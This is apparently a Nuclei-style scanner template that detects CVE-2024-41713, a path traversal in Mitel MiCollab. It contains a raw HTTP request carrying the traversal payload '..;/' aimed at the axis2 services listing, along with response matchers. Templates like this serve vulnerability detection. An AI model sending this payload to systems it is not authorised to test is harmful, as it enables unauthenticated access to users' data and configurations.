id: CVE-2024-41713

info:
  name: "Mitel - Path Traversal"
  author: vedas-arpsyndicate
  severity: high
  description: |
    A vulnerability in the NuPoint Unified Messaging (NPM) component of Mitel MiCollab through 9.8 SP1 FP2
    (9.8.1.201) could allow an unauthenticated attacker to conduct a path traversal attack, due to insufficient
    input validation. A successful exploit could allow unauthorized access, enabling the attacker to view,
    corrupt, or delete users' data and system configurations.
  reference:
    - https://www.exploit.observer/?keyword=CVE-2024-41713&match=exact
    - https://subdomain.center/?engine=ammonites&keyword=mitel&match=exact
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
    cvss-score: 7.5
    cve-id: CVE-2024-41713
    cwe-id: CWE-22
  metadata:
    verified: false
  tags: cve,cve204,mitel,cmg-suite,auth-bypass,kev,vkev,vuln,cve2024
http:
  - raw:
      - |
        GET /npm-pwg/..;/axis2-AWC/services/listServices HTTP/1.1
        Host: {{Hostname}}

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - "Available services"
          - "Service Description"
        condition: and

      - type: status
        status:
          - 200